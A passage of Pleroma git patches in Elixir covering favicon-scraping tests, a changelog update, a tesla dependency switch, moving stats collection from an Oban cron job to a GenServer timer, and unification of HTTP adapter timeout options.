clear_config([:instance, :federation_reachability_timeout_days], 1) @@ -97,4 +98,36 @@ test "does NOT modify `unreachable_since` value of existing record in case it's assert initial_value == instance.unreachable_since end end + + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[<html><head><link rel="icon" href="/favicon.png"></head></html>] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end + + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[<html><head><link rel="icon" href="] <> long_favicon_url <> ~s["></head></html>] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end end -- cgit v1.2.3 From 1984ff310341766adfc224342c9d29272f80e9cb Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Mon, 7 Sep 2020 15:16:04 +0300 Subject: Add a changelog entry for hackney downgrade --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index cdd5b94a8..25645c185 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Rich media failure tracking (along with `:failure_backoff` option) ### Fixed +- Possible OOM errors with the default HTTP adapter - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers - Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. Reduced to just rich media timeout. -- cgit v1.2.3 From 8628e1b216339eaf0c294aa8f01911a9399d912d Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Mon, 7 Sep 2020 15:21:20 +0300 Subject: switch back to upstream tesla The patch we required got merged upstream: https://github.com/teamon/tesla/commit/9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30 --- mix.exs | 4 ++-- mix.lock | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/mix.exs b/mix.exs index c324960c5..8f69a15f2 100644 --- a/mix.exs +++ b/mix.exs @@ -134,8 +134,8 @@ defp deps do {:cachex, "~> 3.2"}, {:poison, "~> 3.0", override: true}, {:tesla, - git: "https://git.pleroma.social/pleroma/elixir-libraries/tesla.git", - ref: "3a2789d8535f7b520ebbadc4494227e5ba0e5365", + git: "https://github.com/teamon/tesla/", + ref: "9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30", override: true}, {:castore, "~> 0.1"}, {:cowlib, "~> 2.9", override: true}, diff --git a/mix.lock b/mix.lock index deb07eb68..058428e66 100644 --- a/mix.lock +++ b/mix.lock @@ -110,7 +110,7 @@ "swoosh": {:hex, :swoosh, "1.0.0", "c547cfc83f30e12d5d1fdcb623d7de2c2e29a5becfc68bf8f42ba4d23d2c2756", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "b3b08e463f876cb6167f7168e9ad99a069a724e124bcee61847e0e1ed13f4a0d"}, "syslog": {:hex, :syslog, "1.1.0", "6419a232bea84f07b56dc575225007ffe34d9fdc91abe6f1b2f254fd71d8efc2", [:rebar3], [], "hexpm", "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"}, "telemetry": {:hex, :telemetry, "0.4.2", "2808c992455e08d6177322f14d3bdb6b625fbcfd233a73505870d8738a2f4599", [:rebar3], [], "hexpm", "2d1419bd9dda6a206d7b5852179511722e2b18812310d304620c7bd92a13fcef"}, - "tesla": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/tesla.git", "3a2789d8535f7b520ebbadc4494227e5ba0e5365", [ref: "3a2789d8535f7b520ebbadc4494227e5ba0e5365"]}, + "tesla": {:git, "https://github.com/teamon/tesla/", "9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30", [ref: "9f7261ca49f9f901ceb73b60219ad6f8a9f6aa30"]}, "timex": {:hex, :timex, "3.6.2", "845cdeb6119e2fef10751c0b247b6c59d86d78554c83f78db612e3290f819bc2", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "26030b46199d02a590be61c2394b37ea25a3664c02fafbeca0b24c972025d47a"}, "trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"}, "tzdata": {:hex, :tzdata, "1.0.3", "73470ad29dde46e350c60a66e6b360d3b99d2d18b74c4c349dbebbc27a09a3eb", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "a6e1ee7003c4d04ecbd21dd3ec690d4c6662db5d3bbdd7262d53cdf5e7c746c1"}, -- cgit v1.2.3 From ee67c98e550310813cfdb9242e5fab2e566e1e2a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 6 Sep 2020 12:13:26 +0300 Subject: removing Stats worker from Oban cron jobs --- CHANGELOG.md | 8 +++ config/config.exs | 3 +- config/description.exs | 1 - lib/mix/pleroma.ex | 1 + lib/pleroma/application.ex | 1 + lib/pleroma/config/oban.ex | 30 +++++++++ lib/pleroma/stats.ex | 76 ++++++++++++++++------ lib/pleroma/workers/cron/stats_worker.ex | 17 ----- ...7_remove_cron_stats_worker_from_oban_config.exs | 19 ++++++ test/stats_test.exs | 21 +++--- 10 files changed, 127 insertions(+), 50 deletions(-) create mode 100644 lib/pleroma/config/oban.ex delete mode 100644 lib/pleroma/workers/cron/stats_worker.ex create mode 100644 priv/repo/migrations/20200906072147_remove_cron_stats_worker_from_oban_config.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e6353a4e..78aae6f07 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,9 +6,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## unreleased-patch - ??? ### Added + - Rich media failure tracking (along with `:failure_backoff` option) ### Fixed + - Possible OOM errors with the default HTTP adapter - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers - Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. @@ -16,6 +18,12 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Mastodon API: Cards being wrong for preview statuses due to cache key collision - Password resets no longer processed for deactivated accounts +## Unreleased + +### Removed + +- **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. + ## [2.1.0] - 2020-08-28 ### Changed diff --git a/config/config.exs b/config/config.exs index ed37b93c0..d631c3962 100644 --- a/config/config.exs +++ b/config/config.exs @@ -546,7 +546,6 @@ plugins: [Oban.Plugins.Pruner], crontab: [ {"0 0 * * *", Pleroma.Workers.Cron.ClearOauthTokenWorker}, - {"0 * * * *", Pleroma.Workers.Cron.StatsWorker}, {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} @@ -672,7 +671,7 @@ # With no frontend configuration, the bundled files from the `static` directory will # be used. # -# config :pleroma, :frontends, +# config :pleroma, :frontends, # primary: %{"name" => "pleroma-fe", "ref" => "develop"}, # admin: %{"name" => "admin-fe", "ref" => "stable"}, # available: %{...} diff --git a/config/description.exs b/config/description.exs index 5e08ba109..18c133f02 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2291,7 +2291,6 @@ description: "Settings for cron background jobs", suggestions: [ {"0 0 * * *", Pleroma.Workers.Cron.ClearOauthTokenWorker}, - {"0 * * * *", Pleroma.Workers.Cron.StatsWorker}, {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} diff --git a/lib/mix/pleroma.ex b/lib/mix/pleroma.ex index fe9b0d16c..49ba2aae4 100644 --- a/lib/mix/pleroma.ex +++ b/lib/mix/pleroma.ex @@ -18,6 +18,7 @@ defmodule Mix.Pleroma do @doc "Common functions to be reused in mix tasks" def start_pleroma do Pleroma.Config.Holder.save_default() + Pleroma.Config.Oban.warn() Application.put_env(:phoenix, :serve_endpoints, false, persistent: true) if Pleroma.Config.get(:env) != :test do diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 33b1e3872..c39e24919 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -50,6 +50,7 @@ def start(_type, _args) do Pleroma.Telemetry.Logger.attach() Config.Holder.save_default() Pleroma.HTML.compile_scrubbers() + Pleroma.Config.Oban.warn() Config.DeprecationWarnings.warn() Pleroma.Plugs.HTTPSecurityPlug.warn_if_disabled() Pleroma.ApplicationRequirements.verify!() diff --git a/lib/pleroma/config/oban.ex b/lib/pleroma/config/oban.ex new file mode 100644 index 000000000..c2d56ebab --- /dev/null +++ b/lib/pleroma/config/oban.ex @@ -0,0 +1,30 @@ +defmodule Pleroma.Config.Oban do + require Logger + + def warn do + oban_config = Pleroma.Config.get(Oban) + + crontab = + [Pleroma.Workers.Cron.StatsWorker] + |> Enum.reduce(oban_config[:crontab], fn removed_worker, acc -> + with acc when is_list(acc) <- acc, + setting when is_tuple(setting) <- + Enum.find(acc, fn {_, worker} -> worker == removed_worker end) do + """ + !!!OBAN CONFIG WARNING!!! + You are using old workers in Oban crontab settings, which were removed. + Please, remove setting from crontab in your config file (prod.secret.exs): #{ + inspect(setting) + } + """ + |> Logger.warn() + + List.delete(acc, setting) + else + _ -> acc + end + end) + + Pleroma.Config.put(Oban, Keyword.put(oban_config, :crontab, crontab)) + end +end diff --git a/lib/pleroma/stats.ex b/lib/pleroma/stats.ex index 9a03f01db..e7f8d272c 100644 --- a/lib/pleroma/stats.ex +++ b/lib/pleroma/stats.ex @@ -3,12 +3,15 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Stats do + use GenServer + import Ecto.Query + alias Pleroma.CounterCache alias Pleroma.Repo alias Pleroma.User - use GenServer + @interval :timer.seconds(60) def start_link(_) do GenServer.start_link( @@ -18,6 +21,11 @@ def start_link(_) do ) end + @impl true + def init(_args) do + {:ok, nil, {:continue, :calculate_stats}} + end + @doc "Performs update stats" def force_update do GenServer.call(__MODULE__, :force_update) @@ -29,7 +37,11 @@ def do_collect do end @doc "Returns stats data" - @spec get_stats() :: %{domain_count: integer(), status_count: integer(), user_count: integer()} + @spec get_stats() :: %{ + domain_count: non_neg_integer(), + status_count: non_neg_integer(), + user_count: non_neg_integer() + } def get_stats do %{stats: stats} = GenServer.call(__MODULE__, :get_state) @@ -44,25 +56,14 @@ def get_peers do peers end - def init(_args) do - {:ok, calculate_stat_data()} - end - - def handle_call(:force_update, _from, _state) do - new_stats = calculate_stat_data() - {:reply, new_stats, new_stats} - end - - def handle_call(:get_state, _from, state) do - {:reply, state, state} - end - - def handle_cast(:run_update, _state) do - new_stats = calculate_stat_data() - - {:noreply, new_stats} - end - + @spec calculate_stat_data() :: %{ + peers: list(), + stats: %{ + domain_count: non_neg_integer(), + status_count: non_neg_integer(), + user_count: non_neg_integer() + } + } def calculate_stat_data do peers = from( @@ -97,6 +98,7 @@ def calculate_stat_data do } end + @spec get_status_visibility_count(String.t() | nil) :: map() def get_status_visibility_count(instance \\ nil) do if is_nil(instance) do CounterCache.get_sum() @@ -104,4 +106,36 @@ def get_status_visibility_count(instance \\ nil) do CounterCache.get_by_instance(instance) end end + + @impl true + def handle_continue(:calculate_stats, _) do + stats = calculate_stat_data() + Process.send_after(self(), :run_update, @interval) + {:noreply, stats} + end + + @impl true + def handle_call(:force_update, _from, _state) do + new_stats = calculate_stat_data() + {:reply, new_stats, new_stats} + end + + @impl true + def handle_call(:get_state, _from, state) do + {:reply, state, state} + end + + @impl true + def handle_cast(:run_update, _state) do + new_stats = calculate_stat_data() + + {:noreply, new_stats} + end + + @impl true + def handle_info(:run_update, _) do + new_stats = calculate_stat_data() + Process.send_after(self(), :run_update, @interval) + {:noreply, new_stats} + end end diff --git a/lib/pleroma/workers/cron/stats_worker.ex b/lib/pleroma/workers/cron/stats_worker.ex deleted file mode 100644 index 6a79540bc..000000000 --- a/lib/pleroma/workers/cron/stats_worker.ex +++ /dev/null @@ -1,17 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.StatsWorker do - @moduledoc """ - The worker to update peers statistics. - """ - - use Oban.Worker, queue: "background" - - @impl Oban.Worker - def perform(_job) do - Pleroma.Stats.do_collect() - :ok - end -end diff --git a/priv/repo/migrations/20200906072147_remove_cron_stats_worker_from_oban_config.exs b/priv/repo/migrations/20200906072147_remove_cron_stats_worker_from_oban_config.exs new file mode 100644 index 000000000..022f21dc7 --- /dev/null +++ b/priv/repo/migrations/20200906072147_remove_cron_stats_worker_from_oban_config.exs @@ -0,0 +1,19 @@ +defmodule Pleroma.Repo.Migrations.RemoveCronStatsWorkerFromObanConfig do + use Ecto.Migration + + def change do + with %Pleroma.ConfigDB{} = config <- + Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: Oban}), + crontab when is_list(crontab) <- config.value[:crontab], + index when is_integer(index) <- + Enum.find_index(crontab, fn {_, worker} -> + worker == Pleroma.Workers.Cron.StatsWorker + end) do + updated_value = Keyword.put(config.value, :crontab, List.delete_at(crontab, index)) + + config + |> Ecto.Changeset.change(value: updated_value) + |> Pleroma.Repo.update() + end + end +end diff --git a/test/stats_test.exs b/test/stats_test.exs index f09d8d31a..74bf785b0 100644 --- a/test/stats_test.exs +++ b/test/stats_test.exs @@ -4,7 +4,10 @@ defmodule Pleroma.StatsTest do use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Stats alias Pleroma.Web.CommonAPI describe "user count" do @@ -13,7 +16,7 @@ test "it ignores internal users" do _internal = insert(:user, local: true, nickname: nil) _internal = Pleroma.Web.ActivityPub.Relay.get_actor() - assert match?(%{stats: %{user_count: 1}}, Pleroma.Stats.calculate_stat_data()) + assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) end end @@ -47,23 +50,23 @@ test "on new status" do end) assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Pleroma.Stats.get_status_visibility_count() + Stats.get_status_visibility_count() end test "on status delete" do user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 1} = Stats.get_status_visibility_count() CommonAPI.delete(activity.id, user) - assert %{"public" => 0} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 0} = Stats.get_status_visibility_count() end test "on status visibility update" do user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1, "private" => 0} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) - assert %{"public" => 0, "private" => 1} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() end test "doesn't count unrelated activities" do @@ -75,7 +78,7 @@ test "doesn't count unrelated activities" do CommonAPI.repeat(activity.id, other_user) assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = - Pleroma.Stats.get_status_visibility_count() + Stats.get_status_visibility_count() end end @@ -110,10 +113,10 @@ test "single instance" do end) assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} = - Pleroma.Stats.get_status_visibility_count(local_instance) + Stats.get_status_visibility_count(local_instance) assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = - Pleroma.Stats.get_status_visibility_count(instance2) + Stats.get_status_visibility_count(instance2) end end end -- cgit v1.2.3 From 8c6485c470c1a7cd6ec4b63867d94e9724c4502b Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Mon, 7 Sep 2020 19:22:56 +0300 Subject: CHANGELOG.md: move Unreleased section ahead of unreleased-patch --- CHANGELOG.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 78aae6f07..46f1e859b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,13 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## Unreleased + +### Removed + +- **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. + + ## unreleased-patch - ??? ### Added @@ -18,11 +25,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Mastodon API: Cards being wrong for preview statuses due to cache key collision - Password resets no longer processed for deactivated accounts -## Unreleased - -### Removed - -- **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. ## [2.1.0] - 2020-08-28 -- cgit v1.2.3 From a83916fdacac7b11ca478ef9a61b32dd269c8fd2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 4 Sep 2020 19:05:08 +0300 Subject: adapter options unification not needed options deletion --- config/config.exs | 10 +++++----- config/description.exs | 8 +++++++- docs/configuration/cheatsheet.md | 4 ++-- lib/mix/tasks/pleroma/frontend.ex | 4 +--- lib/pleroma/gun/conn.ex | 8 ++++---- lib/pleroma/http/adapter_helper.ex | 2 +- lib/pleroma/http/adapter_helper/gun.ex | 14 ++++++-------- lib/pleroma/http/adapter_helper/hackney.ex | 14 ++++++++++---- .../activity_pub/mrf/media_proxy_warming_policy.ex | 12 +++--------- lib/pleroma/web/rel_me.ex | 15 +++------------ lib/pleroma/web/rich_media/helpers.ex | 19 +++++-------------- 11 files changed, 47 insertions(+), 63 deletions(-) diff --git a/config/config.exs b/config/config.exs index d631c3962..2426fbd52 100644 --- a/config/config.exs +++ b/config/config.exs @@ -735,28 +735,28 @@ max_connections: 250, max_idle_time: 30_000, retry: 0, - await_up_timeout: 5_000 + connect_timeout: 5_000 config :pleroma, :pools, federation: [ size: 50, max_waiting: 10, - timeout: 10_000 + recv_timeout: 10_000 ], media: [ size: 50, max_waiting: 10, - timeout: 10_000 + recv_timeout: 10_000 ], upload: [ size: 25, max_waiting: 5, - timeout: 15_000 + recv_timeout: 15_000 ], default: [ size: 10, max_waiting: 2, - timeout: 5_000 + recv_timeout: 5_000 ] config :pleroma, :hackney_pools, diff --git a/config/description.exs b/config/description.exs index 18c133f02..eac97ad64 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3377,7 +3377,7 @@ suggestions: [250] }, %{ - key: :await_up_timeout, + key: :connect_timeout, type: :integer, description: "Timeout while `gun` will wait until connection is up. Default: 5000ms.", suggestions: [5000] @@ -3415,6 +3415,12 @@ description: "Maximum number of requests waiting for other requests to finish. After this number is reached, the pool will start returning errrors when a new request is made", suggestions: [10] + }, + %{ + key: :recv_timeout, + type: :integer, + description: "Timeout for the pool while gun will wait for response", + suggestions: [10_000] } ] } diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index a9a650fab..7f0725b48 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -498,7 +498,7 @@ Settings for HTTP connection pool. * `:connection_acquisition_wait` - Timeout to acquire a connection from pool.The total max time is this value multiplied by the number of retries. * `connection_acquisition_retries` - Number of attempts to acquire the connection from the pool if it is overloaded. Each attempt is timed `:connection_acquisition_wait` apart. * `:max_connections` - Maximum number of connections in the pool. -* `:await_up_timeout` - Timeout to connect to the host. +* `:connect_timeout` - Timeout to connect to the host. * `:reclaim_multiplier` - Multiplied by `:max_connections` this will be the maximum number of idle connections that will be reclaimed in case the pool is overloaded. ### :pools @@ -517,7 +517,7 @@ There are four pools used: For each pool, the options are: * `:size` - limit to how much requests can be concurrently executed. -* `:timeout` - timeout while `gun` will wait for response +* `:recv_timeout` - timeout while `gun` will wait for response * `:max_waiting` - limit to how much requests can be waiting for others to finish, after this is reached, subsequent requests will be dropped. ## Captcha diff --git a/lib/mix/tasks/pleroma/frontend.ex b/lib/mix/tasks/pleroma/frontend.ex index 1957b1d84..73df67439 100644 --- a/lib/mix/tasks/pleroma/frontend.ex +++ b/lib/mix/tasks/pleroma/frontend.ex @@ -124,9 +124,7 @@ defp download_build(frontend_info, dest) do url = String.replace(frontend_info["build_url"], "${ref}", frontend_info["ref"]) with {:ok, %{status: 200, body: zip_body}} <- - Pleroma.HTTP.get(url, [], - adapter: [pool: :media, timeout: 120_000, recv_timeout: 120_000] - ) do + Pleroma.HTTP.get(url, [], adapter: [pool: :media, recv_timeout: 120_000]) do unzip(zip_body, dest) else e -> {:error, e} diff --git a/lib/pleroma/gun/conn.ex b/lib/pleroma/gun/conn.ex index a3f75a4bb..75b1ffc0a 100644 --- a/lib/pleroma/gun/conn.ex +++ b/lib/pleroma/gun/conn.ex @@ -13,7 +13,7 @@ def open(%URI{} = uri, opts) do opts = opts |> Enum.into(%{}) - |> Map.put_new(:await_up_timeout, pool_opts[:await_up_timeout] || 5_000) + |> Map.put_new(:connect_timeout, pool_opts[:connect_timeout] || 5_000) |> Map.put_new(:supervise, false) |> maybe_add_tls_opts(uri) @@ -50,7 +50,7 @@ defp do_open(uri, %{proxy: {proxy_host, proxy_port}} = opts) do with open_opts <- Map.delete(opts, :tls_opts), {:ok, conn} <- Gun.open(proxy_host, proxy_port, open_opts), - {:ok, _} <- Gun.await_up(conn, opts[:await_up_timeout]), + {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]), stream <- Gun.connect(conn, connect_opts), {:response, :fin, 200, _} <- Gun.await(conn, stream) do {:ok, conn} @@ -88,7 +88,7 @@ defp do_open(uri, %{proxy: {proxy_type, proxy_host, proxy_port}} = opts) do |> Map.put(:socks_opts, socks_opts) with {:ok, conn} <- Gun.open(proxy_host, proxy_port, opts), - {:ok, _} <- Gun.await_up(conn, opts[:await_up_timeout]) do + {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]) do {:ok, conn} else error -> @@ -106,7 +106,7 @@ defp do_open(%URI{host: host, port: port} = uri, opts) do host = Pleroma.HTTP.AdapterHelper.parse_host(host) with {:ok, conn} <- Gun.open(host, port, opts), - {:ok, _} <- Gun.await_up(conn, opts[:await_up_timeout]) do + {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]) do {:ok, conn} else error -> diff --git a/lib/pleroma/http/adapter_helper.ex b/lib/pleroma/http/adapter_helper.ex index d72297323..08b51578a 100644 --- a/lib/pleroma/http/adapter_helper.ex +++ b/lib/pleroma/http/adapter_helper.ex @@ -6,7 +6,7 @@ defmodule Pleroma.HTTP.AdapterHelper do @moduledoc """ Configure Tesla.Client with default and customized adapter options. """ - @defaults [pool: :federation] + @defaults [pool: :federation, connect_timeout: 5_000, recv_timeout: 5_000] @type proxy_type() :: :socks4 | :socks5 @type host() :: charlist() | :inet.ip_address() diff --git a/lib/pleroma/http/adapter_helper/gun.ex b/lib/pleroma/http/adapter_helper/gun.ex index 4a967d8f2..1dbb71362 100644 --- a/lib/pleroma/http/adapter_helper/gun.ex +++ b/lib/pleroma/http/adapter_helper/gun.ex @@ -11,12 +11,8 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do require Logger @defaults [ - connect_timeout: 5_000, - domain_lookup_timeout: 5_000, - tls_handshake_timeout: 5_000, retry: 1, - retry_timeout: 1000, - await_up_timeout: 5_000 + retry_timeout: 1_000 ] @type pool() :: :federation | :upload | :media | :default @@ -45,15 +41,17 @@ defp add_scheme_opts(opts, %{scheme: "https"}) do end defp put_timeout(opts) do + {recv_timeout, opts} = Keyword.pop(opts, :recv_timeout, pool_timeout(opts[:pool])) # this is the timeout to receive a message from Gun - Keyword.put_new(opts, :timeout, pool_timeout(opts[:pool])) + # `:timeout` key is used in Tesla + Keyword.put(opts, :timeout, recv_timeout) end @spec pool_timeout(pool()) :: non_neg_integer() def pool_timeout(pool) do - default = Config.get([:pools, :default, :timeout], 5_000) + default = Config.get([:pools, :default, :recv_timeout], 5_000) - Config.get([:pools, pool, :timeout], default) + Config.get([:pools, pool, :recv_timeout], default) end @prefix Pleroma.Gun.ConnectionPool diff --git a/lib/pleroma/http/adapter_helper/hackney.ex b/lib/pleroma/http/adapter_helper/hackney.ex index 42e3acfec..ef84553c1 100644 --- a/lib/pleroma/http/adapter_helper/hackney.ex +++ b/lib/pleroma/http/adapter_helper/hackney.ex @@ -2,11 +2,8 @@ defmodule Pleroma.HTTP.AdapterHelper.Hackney do @behaviour Pleroma.HTTP.AdapterHelper @defaults [ - connect_timeout: 10_000, - recv_timeout: 20_000, follow_redirect: true, - force_redirect: true, - pool: :federation + force_redirect: true ] @spec options(keyword(), URI.t()) :: keyword() @@ -19,6 +16,7 @@ def options(connection_opts \\ [], %URI{} = uri) do |> Keyword.merge(config_opts) |> Keyword.merge(connection_opts) |> add_scheme_opts(uri) + |> maybe_add_with_body() |> Pleroma.HTTP.AdapterHelper.maybe_add_proxy(proxy) end @@ -27,4 +25,12 @@ defp add_scheme_opts(opts, %URI{scheme: "https"}) do end defp add_scheme_opts(opts, _), do: opts + + defp maybe_add_with_body(opts) do + if opts[:max_body] do + Keyword.put(opts, :with_body, true) + else + opts + end + end end diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index dfab105a3..a203405a0 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -13,22 +13,16 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy do require Logger @options [ - pool: :media + pool: :media, + recv_timeout: 10_000 ] def perform(:prefetch, url) do Logger.debug("Prefetching #{inspect(url)}") - opts = - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.put(@options, :recv_timeout, 10_000) - else - @options - end - url |> MediaProxy.url() - |> HTTP.get([], adapter: opts) + |> HTTP.get([], adapter: @options) end def perform(:preload, %{"object" => %{"attachment" => attachments}} = _message) do diff --git a/lib/pleroma/web/rel_me.ex b/lib/pleroma/web/rel_me.ex index 8e2b51508..32bce3c1b 100644 --- a/lib/pleroma/web/rel_me.ex +++ b/lib/pleroma/web/rel_me.ex @@ -5,7 +5,8 @@ defmodule Pleroma.Web.RelMe do @options [ pool: :media, - max_body: 2_000_000 + max_body: 2_000_000, + recv_timeout: 2_000 ] if Pleroma.Config.get(:env) == :test do @@ -23,18 +24,8 @@ def parse(url) when is_binary(url) do def parse(_), do: {:error, "No URL provided"} defp parse_url(url) do - opts = - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.merge(@options, - recv_timeout: 2_000, - with_body: true - ) - else - @options - end - with {:ok, %Tesla.Env{body: html, status: status}} when status in 200..299 <- - Pleroma.HTTP.get(url, [], adapter: opts), + Pleroma.HTTP.get(url, [], adapter: @options), {:ok, html_tree} <- Floki.parse_document(html), data <- Floki.attribute(html_tree, "link[rel~=me]", "href") ++ diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index 752ca9f81..084a66466 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -9,14 +9,15 @@ defmodule Pleroma.Web.RichMedia.Helpers do alias Pleroma.Object alias Pleroma.Web.RichMedia.Parser - @rich_media_options [ + @options [ pool: :media, - max_body: 2_000_000 + max_body: 2_000_000, + recv_timeout: 2_000 ] @spec validate_page_url(URI.t() | binary()) :: :ok | :error defp validate_page_url(page_url) when is_binary(page_url) do - validate_tld = Pleroma.Config.get([Pleroma.Formatter, :validate_tld]) + validate_tld = Config.get([Pleroma.Formatter, :validate_tld]) page_url |> Linkify.Parser.url?(validate_tld: validate_tld) @@ -86,16 +87,6 @@ def perform(:fetch, %Activity{} = activity) do def rich_media_get(url) do headers = [{"user-agent", 